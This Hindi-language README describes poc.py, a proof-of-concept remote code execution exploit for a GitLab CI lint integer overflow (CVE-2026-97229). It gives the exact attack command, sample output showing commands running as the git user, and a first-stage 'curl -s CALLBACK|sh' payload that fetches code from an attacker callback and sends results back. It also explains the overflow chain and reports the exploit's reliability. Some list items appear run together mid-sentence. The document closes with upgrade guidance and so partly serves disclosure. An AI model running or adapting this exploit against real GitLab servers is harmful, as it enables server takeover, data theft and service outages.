
GitLab CI lint integer-overflow RCE PoC, CVE-2026-97229 के लिए, आधिकारिक 19.4.1 CE amd64 इमेज के विरुद्ध सत्यापित
poc.py GitLab के सार्वजनिक CI lint endpoint के माध्यम से CVE-2026-97229 का शोषण करता है। किसी सार्वजनिक प्रोजेक्ट में push करने की अनुमति रखने वाला हमलावर एक CI regular expression और एक विशेष रूप से नामित path प्रदान करता है। उस सेटअप के बाद, बिना क्रेडेंशियल वाला एक अनुरोध चयनित कमांड को GitLab के git खाते के रूप में निष्पादित करता है।
यह एक प्रारंभिक PoC रिलीज़ है। भेद्यता, प्रभावित कॉन्फ़िगरेशन और अतिरिक्त पहुँच योग्य paths का विश्लेषण जारी है। Rapid7 का तकनीकी विश्लेषण नीचे लिंक किया गया है।
GitLab इस समस्या को CVSS 10.0 रेटिंग देता है। यह GitLab Community Edition और Enterprise Edition को 19.2 से 19.2.8 से पहले, 19.3 से 19.3.5 से पहले, और 19.4 से 19.4.2 से पहले प्रभावित करता है।
शामिल native layout का परीक्षण केवल आधिकारिक Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 image के विरुद्ध किया गया है:
gitlab/gitlab-ce@sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c
GET /api/v4/projects/:id/ci/lint तक पहुँच सकते हैं।19.4.1 CE amd64 Ruby लेआउट से मेल खाता है। अन्य प्रभावित बिल्ड्स के लिए समायोजित pcode और libruby ऑफ़सेट की आवश्यकता होगी।--cmd निष्पादन और लौटाया गया आउटपुट चाहते हैं, तो लक्ष्य कॉलबैक लिसनर तक पहुँच सकता है।इस श्रृंखला के लिए प्रोजेक्ट लेखन पहुँच आवश्यक है। इसके बाद के डिलीवरी अनुरोध में कोई टोकन, कुकी, या प्राधिकरण हेडर नहीं है; प्रमाणित क्लोन URL हमलावर की पेलोड ब्रांच को पुश करता है।
Python 3.9 या नया और एक Git क्लाइंट का उपयोग करें। स्क्रिप्ट में कोई तृतीय-पक्ष Python निर्भरता नहीं है।
$ python3 poc.py https://g.example 123 \
--git-url 'https://oauth2:[email protected]/attacker/public-poc.git' \
--callback-url cb.ex:8000 \
--cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)
डिफ़ॉल्ट लिसनर 0.0.0.0:8000 पर बाइंड होता है। जब स्थानीय बाइंड पता --callback-url को दिए गए पते से भिन्न हो, तो --listen-host या --listen-port का उपयोग करें।
कॉलबैक मान 28-बाइट प्रथम-चरण कमांड में फ़िट होना चाहिए। curl -s CALLBACK|sh के साथ, CALLBACK अधिकतम 17 UTF-8 बाइट्स का हो सकता है। एक छोटा DNS नाम, रीडायरेक्टर, या टनल एंडपॉइंट आमतौर पर सबसे आसान होता है।
जब GitLab एंडपॉइंट में स्व-हस्ताक्षरित TLS प्रमाणपत्र हो, तो --insecure का उपयोग करें। यह फ़्लैग lint अनुरोध को प्रभावित करता है; यह कॉलबैक TLS हैंडलिंग को नहीं बदलता।
GET सामान्यतः कॉलबैक के बाद HTTP 502 के साथ समाप्त होता है। पेलोड Puma वर्कर के अंदर निष्पादित होता है, और system() लौटने के बाद वह वर्कर क्रैश हो जाता है। Puma इसे स्वचालित रूप से बदल देता है। लौटाए गए कमांड आउटपुट को सफलता मानें, HTTP स्थिति को नहीं।
सटीक लक्ष्य पर, ASLR सक्षम होने के साथ 10 में से 10 स्वच्छ-वर्कर परीक्षणों में श्रृंखला ने कमांड आउटपुट उत्पन्न किया। प्रत्येक अनुरोध में लगभग 12 सेकंड लगे। आधिकारिक 19.4.2 Ruby कंपाइलर पर बिना कॉलबैक के वही रेगुलर एक्सप्रेशन और पथ ने false लौटाया।
इसे कम-मेमोरी वाले लक्ष्य पर चलाने से कोड निष्पादन के बजाय स्वैपिंग, आवंटन विफलता, या आउट-ऑफ़-मेमोरी किल हो सकता है। कई समवर्ती अनुरोध पूरे GitLab इंस्टेंस को प्रभावित कर सकते हैं।
content_ref से .gitlab-ci.yml पढ़ता है।include.rules.exists.regexp एक एक्सप्रेशन कंपाइल करता है और इसे हमलावर-नियंत्रित रिपॉज़िटरी पथों के विरुद्ध परखता है।{5(?#)7805} Onigmo में {57805} बन जाता है लेकिन GitLab के रिपीट स्कैनर से बच निकलता है।37,151 × 57,805 INT_MAX को पार करता है, और एक उत्पन्न ब्रांच ऑफ़सेट कैरेक्टर-क्लास बिटमैप बाइट्स में रैप हो जाता है।libruby में एक system() कॉल साइट तक पहुँचते हैं।--cmd को डाउनलोड करता है, फिर stdout और stderr को लिसनर पर वापस भेजता है।Rapid7 का CVE-2026-97229 का तकनीकी विश्लेषण पढ़ें।
GitLab 19.2.8, 19.3.5, 19.4.2, या किसी बाद के समर्थित रिलीज़ में अपग्रेड करें। डिप्लॉयमेंट मार्गदर्शन के लिए GitLab की क्रिटिकल पैच रिलीज़ देखें।